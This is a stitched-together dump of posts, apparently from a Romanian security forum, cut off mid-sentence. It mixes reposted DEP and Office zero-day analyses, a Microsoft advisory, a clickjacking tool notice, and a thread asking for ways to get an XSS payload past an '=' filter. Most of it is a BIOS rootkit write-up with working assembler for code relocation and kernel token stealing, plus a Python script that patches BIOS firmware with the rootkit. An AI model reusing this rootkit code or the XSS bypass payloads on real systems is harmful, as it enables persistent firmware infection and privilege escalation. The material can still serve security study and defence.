operating system version 6.00 image version 6.00 subsystem version 0 Win32 version 7000 size of image 400 size of headers E1C5 checksum 2 subsystem (Windows GUI) 8140 DLL characteristics Dynamic base NX compatible Terminal Server Aware ExecuteOptions registry setting Windows Vista and Windows Server 2008 can also force a process to use DEP using the ExecuteOptions registry setting. ExecuteOptions can force a process to use DEP without changing the system-wide policy. Processes opted-in to DEP using the ExecuteOptions registry setting will be DEP-enabled for the life of the process (DEP cannot be turned off via any API calls). Compared to the system-wide Opt-In / Opt-Out approach, this could be seen as a disadvantage as discussed above regarding “ATL thunk emulation” when it comes to application compatibility. “ATL thunk emulation” is not used when a process is forced to use DEP via either the ExecuteOptions registry setting or /NXCOMPAT linker switch. Finally, the Windows Compatibility Database contains a list of DLLs that are known to be incompatible with DEP and when this registry setting is used, since DEP cannot be disabled for the process by the compatibility infrastructure in Windows, DEP related crashes may result if applications attempt to load DLLs that are not compatible with DEP. Microsoft encourages 3rd party ISVs to support DEP (and other exploit mitigation technologies). The latest versions of Acrobat, Flash, QuickTime, and Sun’s Java runtime (JRE 6 Update 12) all support DEP. For more information on how to avoid ATL related DEP crashes when DEP is enabled for a process, refer to Applications Using Older ATL Components May Experience Conflicts With DEP. SetProcessDEPPolicy API Finally, a new way of opting-in to DEP is available on our latest versions of Windows. Windows Vista SP1, Windows Server 2008 and Windows XP SP3 includ the SetProcessDEPPolicy API to allow an application to opt-in to DEP programmatically without /NXCOMPAT or being marked up in the appcompat database or registry. Exposing an API not only makes it easier for developers to opt-in to DEP but when using this API, ATL thunk emulation is performed and processes using older versions of ATL should not crash due to DEP violations. For example, Internet Explorer 8 takes advantage of this new functionality. In part two of this series, we’ll demonstrate how to change an application’s DEP policy to mitigate a real-world attack. - Robert Hensing, MSRC Engineering *Postings are provided "AS IS" with no warranties, and confers no rights.* AddProcessParametersFlags - XPSP2.txt Sursa: Understanding DEP as a mitigation technology part 1 - Security Research & Defense - Site Home - TechNet Blogs

[h=1]Solving the Mystery of the Office Zero-Day Exploit and DEP[/h]By Vinay Karecha on Nov 07, 2013 On November 5 McAfee Labs blogged about a Microsoft Office zero-day attack that we spotted in the wild. In another post we discussed coverage for our various products. Now, we’d like to report some interesting technical findings from our research team. As pointed out in our previous post, we found the exploit works pretty well on Office 2007 running Windows 7. We originally thought there must be some technique used by the exploit to bypass address space layout randomization and data execution prevention. However, our findings show something different because of the DEP system policy setting. While debugging the shellcode, we noticed quite a few interesting things. First, the shellcode was in a PAGE_READWRITE memory block, which encouraged us to further check the DEP status of the process winword.exe. We found the DEP status was “on” at the process start but “off” during shellcode execution. McAfee Labs researcher Haifei Li found this exploit worked on system-level DEP options, including both the Opt-In and Opt-Out for Office 2007. If the system policy is set to Opt-In, DEP is enabled only for processes that explicitly opt-in to DEP. Office 2007 Word is not in the DEP-enabled list; thus DEP is not enabled for Office 2007 under the Opt-In mode and there is no need for an exploit to bypass DEP to succeed. We tested further for the Opt-Out mode. If the system policy is set to Opt-Out, DEP is enabled by default for all processes except those that explicitly opt out of DEP. That means usually DEP is on for all processes for this option when they start, but a process has the option to opt out of DEP at any moment. We figured out that if we blocked the loading of VBE6.DLL (C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6.DLL), the exploit would not work–a DEP-violation error was triggered. Also, if we forced DEP with Microsoft EMET, the exploit would not work. The test results caused us to wonder whether there was a DEP bypass, such as using ROP gadgets. Though many other researchers claimed this point after their analysis, they might have analyzed different samples. (The MD5 hash for our analyzed sample is 1FD4F3F063D641F84C5776C2C15E4621.) Quickly we injected our DLL in winword.exe with a hooked LoadLibraryExA and called GetProcessDEPPolicy before and after the loading of each module. We opened the log and found that DEP status changed to “off” just after the loading of VBE6.DLL. After some investigation we I found that ntdll!ZwSetInformationProcess can be called with parameters -1 and 0×22 to turn off DEP for the process. So, just before the call to LoadLibrary with VBE6.DLL, we set a break point at ntdll!ZwSetInformationProcess, and it got hit with the expected parameters (-1,0×22). Back-tracing the call, we came across this: This is the code to disable DEP for the process: This solves the mystery of the exploitation. Our analyzed exploit didn’t bypass ASLR and DEP. Instead, it leveraged a backward compatibility feature in Office 2007 to disable DEP. Without DEP, ASLR is quite easy to bypass with heap spraying, as discussed in this Microsoft SRD post. We believe that the DEP compatibility issue of old DLLs such as VBE6.DLL makes this exploitation possible. Microsoft’s guidance confirmed our suspicions. The DEP system policy can be set to Opt-In, Opt-Out, Always-On, and Always-Off. Only the Always-On option enforces DEP, which means that a process cannot turn off DEP. For compatibility reasons, the Always-On setting may cause DEP-related crashes due to Microsoft Office applications opening documents that contain Visual Basic for Applications macros. The lesson we learned is interesting. For better security, the system setting for DEP should be Always-On. But for compatibility, Opt-Out can be used to protect applications that assume DEP availability. However, the Opt-Out system setting does not necessarily have full DEP protection for an application that does not explicitly opt out of DEP; thus such an application (Microsoft Word in this case) is still subject to exploits that may be prevented by DEP. Thanks to Hirosh Joseph, Haifei Li, Bing Sun, Chong Xu, and Lijun Cheng for their support and help with the analysis. Sursa: http://blogs.mcafee.com/mcafee-labs/solving-the-mystery-of-the-office-zero-day-exploit-and-dep

Sa fim seriosi... Nu e nicio problema.

Clickjacking Tool Clickjacking is a term first introduced by Jeremiah Grossman and Robert Hansen in 2008 to describe a technique whereby an attacker tricks a user into performing certain actions on a website by hiding clickable elements inside an invisible iframe. Although it has been two years since the concept was first introduced, most websites still have not implemented effective protection against clickjacking. In part, this may be because of the difficulty of visualising how the technique works in practice. This new browser-based tool allows a user to experiment with clickjacking techniques by using point-and-click to visually select different elements within a webpage to be targeted. The tool also allows several 'next-generation' clickjacking techniques to be used, as introduced in Paul Stone's Blackhat Europe 2010 talk. Among the features of the new tool are: Use point-and-click to select the areas of a page to be targeted Supports the new 'text-field injection' technique Supports the new 'content extraction' technique 'Visible mode' replay allowing a user to see how the technique works behind the science 'Hidden mode' replay allows the same steps to be replayed in a hidden manner, simulating a real clickjacking attack. The tool is currently in an early beta stage, and works best in Firefox 3.6. Full support for other browsers will follow shortly. For further information, please see the Readme.txt file in the downloadable tool. By downloading this tool you are agreeing to the following license agreement. Download the Clickjacking tool Sursa: Clickjacking tool

Aveti grija cu schimburile de bani: 1. Sa nu va luati teapa 2. Sa nu fie returnati (unde se poate) catre platitor 3. SA VERIFICATI CA BANII SUNT AI PERSOANEI IN CAUZA Adica verificati sa nu fie un cont furat, sa nu va treziti ulterior cu probleme. E alegerea voastra. Daca aveti probleme, nu veniti la noi sa va plangeti.

Ghilimelele fac parte doar din textul meu, ca sa se inteleaga codul de care vorbeam: onerror=alert(1) Are rost. Daca lucrezi doar la partea de backend si un designed de 2 lei scrie: <img src=[TEMPLATE_ENGINE_TEXT] /> Daca nu filtrezi si "=" o sa ai probleme. Daca gasiti vreun truc care sa mearga, ceva prin HTML5 poate, nu stiu, sa postati aici sa stim si noi.

[h=1]Microsoft ?i Facebook ofer? premii hacker-ilor cumin?i[/h] Sun? ciudat, îns? exist? ?i astfel de hacker-i. Microsoft ?i Facebook sunt dependente de Internet ?i vor ca probleme ce afecteaz? acest sistem global de comunicare s? fie cât mai pu?ine. A?a a ap?rut ini?iativ Hackerone. Cei ce g?sesc o vulnerabilitate în limbajele de programare ?i platformele folosite global vor primi o sum? de bani, ce începe de la 1.500 $ sau 5.000 $. În func?ie de importan?a vulnerabilit??ii descoperite, suma poate s? creasc? destul de mult. Proiectul Hackerone Un exemplu de vulnerabilitate ce va fi premiat? este cea descoperit? în 2011 ?i denumit? BEAST. Ea decripta în fundal date transmise prin protocolul HTTPS între un server web ?i utilizator. O astfel vulnerabilitate va afecta un num?r foarte mare de utilizatori ?i poate pune probleme mari pentru site-uri precum Facebook. Google a anun?at luna trecut? o ini?iativ? similar?, prin care premiaz? cu mai bine de 3.000 $ pe cei ce pot oferi update-uri de securitate pentru protocoale precum OpenSSL, OpenSSH ?i altele. eBay ?i Mozilla sunt alte companii ce ofer? bani persoanelor ce le pot da rapoarte personale în leg?tur? cu vulnerabilit??i ale serviciilor oferite. Sursa: Microsoft ?i Facebook ofer? premii hacker-ilor cumin?i Aici sa va vad.

Salut, Discutam cu niste baieti despre problema urmatoare. Avem urmatorul cod: <img src=<?php print filtru($_GET['plm']); ?> />Unde filtru este o functie care: 1. Face htmlentities cu ENT_QUOTES 2. Transforma caracterul "=" in entitate HTML (ca si htmlentities pentru celelalte caractere) Cu alte cuvinte nu va mai merge " onerror=alert(1)" pentru ca "=" va fi filtrat. Aveti idei de bypass la asa ceva? Vechiul "javascript:..." mai merge pe vreun browser? Nu am vazut niciodata asa ceva in practica, dar sunt curios daca s-ar putea exploata. Daca nu se poate, inseamna ca ar cam fi recomandat ca in functia de filtrare sa luati in considerare si "=". Astept parerile voastre pertinente aici. Thanks.

Da, nu e niciun site de cacat spart, nu e interesant... </ironic>

Sau am depasit nivelul de "cocalar hacker". Voi tot acolo o sa ramaneti.

CVE-2013-3906: a graphics vulnerability exploited through Word documents swiat 5 Nov 2013 9:09 AM Recently we become aware of a vulnerability of a Microsoft graphics component that is actively exploited in targeted attacks using crafted Word documents sent by email. Today we are releasing Security Advisory 2896666 which includes a proactive Fix it workaround for blocking this attack while we are working on the final update. In this blog, we’ll share details of the vulnerability and the Fix It workaround and provide mitigations and suggestions to layer protections against the attack. The exploit The attacks observed are very limited and carefully carried out against selected computers, largely in the Middle East and South Asia. The exploit needs some user interaction since it arrives disguised as an email that entices potential victims to open a specially crafted Word attachment. This attachment will attempt to exploit the vulnerability by using a malformed graphics image embedded in the document itself. In order to achieve code execution, the exploit combines multiple techniques to bypass DEP and ASLR protections. Specifically, the exploit code performs a large memory heap-spray using ActiveX controls (instead of the usual scripting) and uses hardcoded ROP gadgets to allocate executable pages. This also means the exploit will fail on machines hardened to block ActiveX controls embedded in Office documents (e.g. Protected View mode used by Office 2010) or on computers equipped with a different version of the module used to build the static ROP gadgets. [TABLE] [TR] [TD] [/TD] [TD=width: 175] Heap-Spray of memory [/TD] [/TR] [TR] [TD=width: 448] [/TD] [TD=width: 175] Initial ROP gadgets[/TD] [/TR] [/TABLE] Affected software Our initial investigations show that the vulnerability will not affect Office 2013 but will affect older versions such as Office 2003 and 2007. Due to the way Office 2010 uses the vulnerable graphic library, it is only affected only when running on older platforms such as Windows XP or Windows Server 2003, but it is not affected when running on newer Windows families (7, 8 and 8.1). This is another example that demonstrates the benefits of running recent versions of software in terms of security improvements (consider also that Windows XP support will end in April 2014). For more information and for the complete list of affected software, please refer to Security Advisory 2896666. [TABLE] [TR] [TD] Office 2003[/TD] [TD=width: 354] Affected[/TD] [/TR] [TR] [TD=width: 150] Office 2007[/TD] [TD=width: 354] Affected[/TD] [/TR] [TR] [TD=width: 150] Office 2010[/TD] [TD=width: 354] Affected only on Windows XP/Windows Server2003[/TD] [/TR] [TR] [TD=width: 150] Office 2013[/TD] [TD=width: 354] Not affected[/TD] [/TR] [/TABLE] Fix it workaround We created a temporary Fix it workaround that can block this attack. This temporary workaround doesn’t address the root cause of the vulnerability but simply changes the configuration of the computer to block rendering of the vulnerable graphic format that can trigger the bug. The change made by the Fix it consists in adding the following key to the local registry: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Gdiplus\DisableTIFFCodec = 1 We advise customers to evaluate usage of TIFF images in their environment before applying this workaround. Other layers of defense Users who are not able to deploy the Fix it workaround can still take some important steps to raise the bar for attackers and protect themselves. Install EMET (the Enhanced Mitigation Experience Toolkit) Our tests shows that EMET is able to mitigate this exploit in advance when any of the following mitigations are enabled for Office binaries: multiple ROP mitigations (StackPointer, Caller, SimExec, MemProt) available in EMET 4.0; other mitigations (MandatoryASLR, EAF, HeapSpray ) included in EMET 3.0 and 4.0; Use Protected View and block ActiveX controls in Office documents Even if the vulnerability relies in a graphic library, attackers deeply rely on other components to bypass DEP/ASLR and execute code, so users can still makes exploitation more difficult and unreliable by using Protected View to open attachments (default for Office 2010) or simply by blocking the execution of ActiveX controls embedded in Office documents. These general recommendations for Office hardening and better protection against attacks have been already suggested in the past in the following blogs which include examples and more details: MS12-027: Enhanced protections regarding ActiveX controls in Microsoft Office documents - Security Research & Defense - Site Home - TechNet Blogs A technical analysis on CVE-2012-1535 Adobe Flash Player vulnerability: Part 2 - Microsoft Malware Protection Center - Site Home - TechNet Blogs Finally, we are working with our MAPP partners to provide information that will help to detect samples related to this attack and improve overall coverage of antimalware and security products. We’d like to thank Haifei Li of McAfee Labs IPS Team for reporting this vulnerability in a coordinated manner and for collaborating with us. - Elia Florio, MSRC Engineering Sursa: https://blogs.technet.com/b/srd/archive/2013/11/05/cve-2013-3906-a-graphics-vulnerability-exploited-through-word-documents.aspx?Redirected=true

Warn - Postati astfel de lucruri la Market, iar tu nu ai 50 de posturi.

BIOS Based Rootkits Background Everything described here is based on a project I completed in early 2011, which was originally started several years earlier. While attending CanSecWest in 2009, Anibal Sacco and Alfredo Ortega from Core Security did a presentation on "Persistent BIOS Infection" where they demonstrated how it was possible to patch the BIOS to do some nasty/awesome things. Their Phrack write-up is here: http://www.phrack.com/issues.html?issue=66&id=7. At the time this seemed really cool, but I never ended up getting the chance to try it out. A year later I needed to do a term project for school, so I decided to revisit BIOS hacking, and implement some of it myself. Over the past few years a lot has changed in the world of PC BIOS's, and now signed BIOS firmware is standard, and the UEFI architecture changes everything compared to how BIOS's were traditionally designed. Less than a year after I originally completed this project, the first evidence of malware actually infecting a BIOS in a somewhat similar manner was seen (Link). Simple measures such as BIOS update signing would easily prevent these types of BIOS modifications, and some research has also already been done to look at ways around that (such as the presentation on "Attacking Intel BIOS" by Rafal Wojtczuk and Alexander Tereshkin). So it's worth noting that none of what is described here is intended to represent any sort of new vulnerability, but is instead a proof of concept that can easily be tested and modified. My original goal with this project was to determine if BIOS based attacks and malware was feasible, and to actually be able to demonstrate it if it was. I think that goal still has value today, despite new technology steadily making this type of attack less relevant. If nothing else, learning how to do fun BIOS modifications in assembler is great in and of itself, so I've put this project online for others to see as well! If you don't want to read through all of this, and just want to actually try the results out, click here to jump to the bottom for a link to a sample BIOS to try and some brief instructions. Approach Currently there is a very limited amount of sample code available for the creation of BIOS rootkits, with the only publicly available code being released along with the initial BIOS rootkit demonstration in March of 2009 (as far as I'm aware). My first goal was to reproduce the findings made by Core Security in 2009, and then my second task was to investigate how I could extend their findings. My ultimate goal was to create some sort of BIOS based rootkit which could easily be deployed. In 2009 there was research done into a similar area of security, which is boot sector based rootkits. Unlike BIOS based rootkits, developments in this area have progressed rapidly, which has led to a number of different master boot record (MBR) based rootkits being developed and released. This type of rootkit was termed a "Bootkit", and similar to a BIOS based rootkit it aims to load itself before the OS is loaded. This similarity led a number of bootkit developers to remark that it should be possible to perform this type of attack directly from the BIOS instead of loading from the MBR. Despite the comments and suggestions that this bootkit code could be moved into the BIOS for execution, there has not yet been any examples of such code made public. The first stage for completing this project was to set up a test and development environment where BIOS modifications could be made and debugged. In their paper on Persistent BIOS Infection, Sacco and Ortega detail how they discovered that VMware contains a BIOS rom as well as a GDB server which can be used for debugging applications starting from the BIOS itself. After getting everything going successfully in VMware, work was done to port the VMware BIOS modifications to other similar BIOS's, and will be described in the second half of this write-up. VMware BIOS Configuration Ok, enough background, onto the actually doing it! The first step which is required is to extract the BIOS from VMware itself. In Windows, this can be done by opening the vmware-vmx.exe executable with any resource extractor, such as Resource Hacker. There are a number of different binary resources bundled into this application, and the BIOS is stored in resource ID 6006 (at least in VMware 7). In other versions this may be different, but the key thing to look for is the resource file that is 512kb in size. The following image shows what this looks like in Resource Hacker: While this BIOS image is bundled into the vmware-vmx.exe application, it is also possible to use it separately, without the need to modify into the vmware executable after each change. VMware allows for a number of "hidden" options to be specified in an image's VMX settings file. At some point I plan to document a bunch of them on the Tools page of this website, because some really are quite useful! The ones which are useful for BIOS modifications and debugging are the following: bios440.filename = "BIOS.ROM" debugStub.listen.guest32 = "TRUE" debugStub.hideBreakpoint = "TRUE" monitor.debugOnStartGuest32 = "TRUE" The first setting allows for the BIOS rom to be loaded from a file instead of the vmware-vmx application directly. The following two lines enable the built in GDB server. This server listens for connections on port 8832 whenever the image is running. The last line instructs VMware to halt code execution at the first line of the guest image's BIOS. This is very useful as it allows breakpoints to be defined and memory to be examined before any BIOS execution takes place. Testing was done using IDA Pro as the GDB client, and an example of the VMware guest image halted at the first BIOS instruction can be seen in the screenshot below: When initially using this test environment, there were significant issues with IDA's connection to the GDB server. After much trial and error and testing with different GDB clients, it was determined that the version of VMware was to blame. Version 6 and 6.5 do not appear to work very well with IDA, so version VMware version 7 was used for the majority of the testing. The BIOS is comprised of 16 bit code, and not the 32 bit code that IDA defaults to, so defining "Manual Memory Regions" in the debugging options of IDA was necessary. This allowed memory addresses to be defined as 16 bit code so that they would decompile properly. Recreating Past Results - VMware BIOS Modification As noted already, Sacco & Ortega have done two presentations on BIOS modification, and Wojtczuk & Tereshkin have also done a presentation regarding BIOS modification. Of these three presentations, only Sacco & Ortega included any source or sample code which demonstrated their described techniques. Since this was the only existing example available, it was used as the starting point for this BIOS based rootkits project. The paper by Sacco & Ortega is fairly comprehensive in describing their set up and testing techniques. The VMware setup was completed as described above, and the next step was to implement the BIOS modification code which they had provided. The code provided required the BIOS rom to be extracted into individual modules. The BIOS rom included with VMware is a Phoenix BIOS. Research showed that there were two main tools for working with this type of BIOS, an open source tool called "phxdeco", and a commercial tool called "Phoenix BIOS Editor", which is provided directly by Phoenix. The paper by Sacco & Ortega recommended the use of the Phoenix BIOS Editor application and they had designed their code to make use of it. A trial version was downloaded from the internet and it appears to have all of the functionality necessary for this project. Looking for a download link again I can't find anything that seems even half legitimate, but Google does come up with all kinds of links. I'll just assume that it should be fairly easy to track down some sort of legitimate trial version still. Once the tools are installed, the next step is to build a custom BIOS. I first tested that a minor modification to the BIOS image would take effect in VMware, which it did (changed the VMware logo colour). Next, I ran the Python build script provided by Sacco & Ortega for the BIOS modification. Aside from one typo in the Python BIOS assembly script everything worked great and a new BIOS was saved to disk. Loading this BIOS in VMware however did not result in the same level of success, with VMware displaying a message that something had gone horribly wrong in the virtual machine and it was being shut down. Debugging of this issue was done in IDA and GDB, but the problem was difficult to trace (plus there were version issues with IDA). In an effort to get things working quickly, a different version of VMware was loaded, so that the test environment would match that of Sacco & Ortega's. After some searching, the exact version of VMware that they had used was located and installed. This unfortunately still did not solve the issue, the same crash error was reported by VMware. While I had seen this BIOS modification work when demonstrated as part of their presentation, it was now clear that their example code would require additional modification before it could work on any test system. Many different things were learned as a result of debugging Sacco's & Ortega's code, and eventually the problem was narrowed down to an assembler instruction which was executing a far call to an absolute address which was not the correct address for the BIOS being used. With the correct address entered the BIOS code successfully executed, and the rootkit began searching the hard drive for files to modify. This code took a very long time to scan across the hard drive (which was only 15gb), and it was run multiple times before the system would start. The proof of concept code included the functionality to patch notepad.exe so that it would display a message when started, or to modify the /etc/passwd file on a unix system so that the root password would be set to a fixed value. This showed that the rootkits can be functional on both Windows and Linux systems, even if only used for simple purposes. Bootkit Testing While significantly later on in the project time line, the functionality of various bootkit code was also tested, and the results recreated to determine which would work best as not just a bootkit, but also a BIOS based rootkit. Four different bootkits were examined, the Stoned, Whistler, Vbootkit and Vbootkit2 bootkits. The Stoned and Whistler bootkits were designed to function much more like malware than a rootkit, and did not have a simple source code structure. The Vbootkit2 bootkit was much different, as it was not designed to be malware and had (relatively) well documented source code. This bootkit was designed to be run from a CD, but only was tested with Windows 7 beta. When used with Windows 7 retail, the bootkit simply did not load as different file signatures were used by Windows. Some time was spent determining the new file signatures so that this bootkit could be tested, but it would still not load successfully. To allow for testing a beta copy of Windows 7 was obtained instead. When the Vbootkit2 software was run on a Windows 7 beta system, everything worked as expected. The Vbootkit2 software included the ability to escalate a process to System (above admin) level privileges, to capture keystrokes, and to reset user passwords. These were all items that would be valuable to have included in a rootkit, but significant work remained to port this application to Windows 7 retail. The Vbootkit software was examined next; it was designed to work with Windows 2003, XP and 2000. While it was not packaged so that it could be run from CD, only minor modifications were required to add that functionality. This software only included the ability to escalate process privileges, but that alone is a very valuable function. This bootkit software was chosen for use with the BIOS rootkit, which is described in the next section. NVLabs (http://www.nvlabs.in/) are the authors of the bootkit itself, which in many ways represents the main functionality of this project, so a big thanks to them for making their code public! It appears their source code is no longer available on their website, but it can still be downloaded from Archive.org here. BIOS Code Injection The proof of concept code by Sacco & Ortega which was previously tested was very fragile, and its functions were not the type of actions that a rootkit should be performing. The first step in developing a new rootkit was to develop a robust method of having the BIOS execute additional code. Sacco & Ortega patched the BIOS's decompression module since it was already decompressed (so that it could decompress everything else), and it is called as the BIOS is loaded. This reasoning was appropriate, but the hooking techniques needed to be modified. During normal operation, the BIOS would call the decompression module once for each compressed BIOS module that was present. The VMware BIOS included 22 compressed modules, so the decompression code was called 22 times. This module will overwrite our additional code as it resides in buffer space, so it is necessary to have our addition code relocate itself. The process that I used includes the following steps: Insert a new call at the beginning of the decompression module to our additional code. Copy all of our additional code to a new section of memory. Update the decompression module call to point to the new location in memory where our code is. Return to the decompression module and continue execution. This process allows for a significant amount of additional code to be included in the BIOS ROM, and for that code to run from a reliable location in memory once it has been moved there. The above four steps can be shown in a diagram as follows: (mspaint is awesome) Implementing this code in assembler was possible a number of different ways, but the goal was to create code that would be as system independent as possible. To accomplish this, all absolute addressing was removed, and only near calls or jumps were used. The exceptions to this were any references to our location in the free memory, as that was expected to be a fixed location, regardless of the system. The following is the assembler code which was used to handle the code relocation: start_mover: ; The following two push instructions will save the current state of the registers onto the stack. pusha pushf ; Segment registers are cleared as we will be moving all code to segment 0 xor ax, ax ; (This may or may not be obvious, but xor'ing the register sets it to 0). xor di, di xor si, si push cs; Push the code segment into the data segment, so we can overwrite the calling address code pop ds; (CS is moved to DS here) mov es, ax ; Destination segment (0x0000) mov di, 0x8000 ; Destination offset, all code runs from 0x8000 mov cx, 0x4fff ; The size of the code to copy, approximated as copying extra doesn't hurt anything ; The following call serves no program flow purposes, but will cause the calling address (ie, where this code ; is executing from) onto the stack. This allows the code to generically patch itself no matter where it might ; be in memory. If this technique was not used, knowledge of where in memory the decompression module would be ; loaded would be required in advance (so it could be hard coded), which is not a good solution as it differs for every system. call b b: pop si ; This will pop our current address of the stack (basically like copying the EIP register) add si, 0x30 ; How far ahead we need to copy our code rep movsw ; This will repeat calling the movsw command until cx is decremented to 0. When this command is ; finished, our code will be copied to 0x8000 mov ax, word [esp+0x12] ; This will get the caller address to patch the original hook sub ax, 3 ; Backtrack to the start of the calling address, not where it left off mov byte [eax], 0x9a ; The calling function needs to be changed to an Call Far instead of a Call Near add ax, 1 ; Move ahead to set a new address to be called in future mov word [eax], 0x8000 ; The new address for this code to be called at mov word [eax+2], 0x0000 ; The new segment (0) ; The code has now been relocated and the calling function patched, so everything can be restored and we can return. popf popa ; The following instructions were overwritten with the patch to the DECOMPC0.ROM module, so we need to run them now before we return. mov bx,es mov fs,bx mov ds,ax ret ; Updated to a near return Once the above code is executed, it will copy itself to memory offset 0x8000, and patch the instruction which initially called it, so that it will now point to 0x8000 instead. For initially testing this code, the relocated code was simply a routine which would display a "W" to the screen (see screenshot below). The end goal however was that our rootkit code could be called instead, so the next modification was to integrate that code. As noted in the earlier section, the "VBootkit" software was determined to be the best fit for the type of rootkit functionality that could be loaded from the BIOS. The VBootkit software was originally created so that it would run from a bootable CD. While this starting point is similar to running from the BIOS, there are a number of key differences. These differences are mainly based on the booting process, which is shown below: Our BIOS based rootkit code will run somewhere in between the BIOS Entry and the BIOS Loading Complete stages. A bootkit would instead run at the last stage, starting from 0x7C00 in memory. The VBootkit software was designed so that it would be loaded into address 0x7C00, at which point it would relocate itself to address 0x9E000. It would then hook interrupt 0x13, and would then read the first sector from the hard drive (the MBR) into 0x7C00, so that it could execute as if the bootkit was never there. This process needed to be modified so that all hard coded addresses were replaced (as the bootkit is no longer executing from 0x7C00). Additionally, there is no need to load the MBR into memory as the BIOS will do that on its own. The VBootkit software hooks interrupt 0x13, that is, it replaces the address that the interrupt would normally go to with its own address, and then calls the interrupt after doing additional processing. This turned out to require an additional modification as when our BIOS rootkit code is called interrupt 0x13 is still not fully initialized. This was overcome by storing a count in memory of how many times the decompression module had been run. If it had been run more 22 times (for 22 modules), then the BIOS was fully initialized, and we could safely hook interrupt 0x13. The Vbootkit software follows the following process: When first called it will relocate itself to 0x9E000 in memory (similar to our BIOS relocation done previously) Next it will hook interrupt 0x13, which is the hard disk access interrupt All hard disk activity will be examined to determine what data is being read If the Windows bootloader is read from the hard disk, the bootloader code will be modified before it is stored in memory The modification made to the bootloader will cause it to modify the Windows kernel. This in turn will allow arbitrary code to be injected into the Windows kernel, allowing for the privilege escalation functionality. With our BIOS injection plus the bootkit loaded the process flow happens as follows: The result of all of these modifications is a BIOS which copies the bootkit into memory and executes it, loads the OS from the hard drive, and then ends with an OS which has been modified so that certain processes will run with additional privileges. The following screenshot shows the bootkit code displaying a message once it finds the bootloader and the kernel and successfully patches them: The code used for this rootkit was set to check for any process named "pwn.exe", and if found, give it additional privileges. This is done every 30 seconds, so the differences in privileges are easy to see. This function can be seen in the code and screenshot below: xor ecx,ecx mov word cx, [CODEBASEKERNEL + Imagenameoffset] cmp dword [eax+ecx], "PWN." ; Check if the process is named PWN.exe je patchit jne donotpatchtoken ; jmp takes 5 bytes but this takes 2 bytes patchit: mov word cx, [CODEBASEKERNEL + SecurityTokenoffset] mov dword [eax + ecx],ebx ; replace it with services.exe token, offset for sec token is 200 The BIOS rootkit which has been developed could definitely include more functionality (such as what is included in Vbootkit2), but still acts as an effective rootkit in its current state. BIOS Decompression and Patching Now that we know how we want the rootkit to be injected into the BIOS, the next step is to actually patch the BIOS with our rootkit code. To do this we need to extract all of the BIOS modules, patch the decompression module, and reassemble everything. The modules can be extracted using the phxdeco command line tool, or the Phoenix BIOS Editor. Once the decompression module is extracted, the following code will patch it with our rootkit: #!/usr/bin/pythonimport os,struct,sys ############################################### # BIOS Decompression module patching script - By Wesley Wineberg # # The Phoenix BIOS Editor application (for Windows) will generate a number of module files # including the decompression module which will be named "DECOMPC0.ROM". These files are # saved to C:\Program Files\Phoenix Bios Editor\TEMP (or similar) once a BIOS WPH file is # opened. The decompression module file can be modified with this script. Once modified, # any change can be made to the BIOS modules in the BIOS editor so that a new BIOS WPH file # can be generated by the BIOS editor. The decompression module can alternatively be # extracted by phnxdeco.exe, but this does not allow for reassembly. This script requires # that NASM be present on the system it is run on. # # INPUT: # This patching script requires the name and path to the BIOS rootkit asm file to be passed # as an argument on the command line. # # OUTPUT: # This script will modify the DECOMPC0.ROM file located in the same directory as the script # so that it will run the BIOS rootkit asm code. # Display usage info if len(sys.argv) < 2: print "Modify and rebuild Phoenix BIOS DECOMP0.ROM module. Rootkit ASM code filename required!" exit(0) # Find rootkit code name shellcode = sys.argv[1].lower() # Assemble the assembler code to be injected. NASM is required to be present on the system # or this will fail! os.system('nasm %s' % shellcode) # Open and display the size of the compiled rootkit code shellcodeout = shellcode[0:len(shellcode)-4] decomphook = open(shellcodeout,'rb').read() print "Rootkit code loaded: %d bytes" % len(decomphook) # The next line contains raw assembly instructions which will be placed 0x23 into the decompression rom # file. The decompression rom contains a header, followed by a number of push instructions and then # a CLD instruction. This code will be inserted immediately after, and will overwrite a number of # mov instructions. These need to be called by the rootkit code before it returns so that #the normal decompression functions can continue. # The assembler instruction contained below is a Near Call which will jump to the end of the # decompression rom where the rootkit code has been inserted. This is followed by three NOP # instructions as filler. minihook = '\xe8\x28\x04\x90\x90\x90' # The following would work but is an absolute call, not ideal! # minihook = '\x9a\x5A\x04\xDC\x64\x90' # call far +0x45A # Load the decompression rom file decorom = open('DECOMPC0.ROM','rb').read() # Hook location is 0x23 in to the file, just past the CLD instruction hookoffset=0x23 # Insert hook contents into the decompression rom, overwriting what was there previously decorom = decorom[:hookoffset]+minihook+decorom[len(minihook)+hookoffset:] # Pad the decompression rom with 100 NOP instructions. This is not needed, but does make it # easier to identify where the modification has taken place. decorom+="\x90"*100+decomphook # Pad an additional 10 NOP's at the end. decorom=decorom+'\x90'*10 # Recalculate the ROM size, so that the header can be updated decorom=decorom[:0xf]+struct.pack("<H",len(decorom)-0x1A)+decorom[0x11:] # Save the patched decompression rom over the previous copy out=open('DECOMPC0.ROM','wb') out.write(decorom) out.close() # Output results print "The DECOMPC0.ROM file has now been patched." An example of how to call the above script would be: python patchdecomp.py biosrootkit.asm If everything works successfully, you should see something similar to the following: Rootkit code loaded: 1845 bytes The DECOMPC0.ROM file has now been patched. BIOS Reassembly For raw BIOS files, such as the one included with VMware, a number of command line utilities included with the Phoenix Bios Editor (or available from Intel) can be used to reassemble everything. Later on when testing with a real PC it was necessary to save the BIOS in more than just the raw format, so the tool for reassembly used was the GUI version of the Phoenix Bios Editor. This unfortunately means that it is not possible to simply have one application that can be run on a system which will infect the BIOS, at least not using off the shelf tools. This now means that the BIOS infection is a three stage process, requiring some manual intervention mainly for the reassembly. The following shows the Phoenix BIOS Editor with a BIOS image open: The Phoenix BIOS Editor is not specifically designed for swapping modules in and out, but does effectively allow for it. When a BIOS image is first opened, all of the BIOS modules will be extracted to disk in a folder located at C:\Program Files\Phoenix BIOS Editor\TEMP\. The decompression module can be copied from this folder, patched, and replaced. The Phoenix BIOS Editor will not allow you to save a BIOS without a modification, so it is necessary to modify a string value and then change it back (or just leave it) so that the BIOS can be saved. The BIOS based rootkit source code and patching scripts can be downloaded from the links near the end of this write-up if you would like to try all of this out yourself. Real PC's The Phoenix BIOS was used with all of the VMware based development, so this was also chosen for testing with a physical PC. All of the physical (as opposed to virtual) BIOS testing was done using an HP Pavilion ze4400 laptop. BIOS testing was originally planned for use with PC's and not laptops, as getting access to the PC motherboard for reflashing if necessary would be much easier. Despite this fact, quickly locating a PC with a Phoenix BIOS proved to be difficult, so a laptop was used instead (special thanks to David for reflashing my laptop when I accidently wrote source code to my 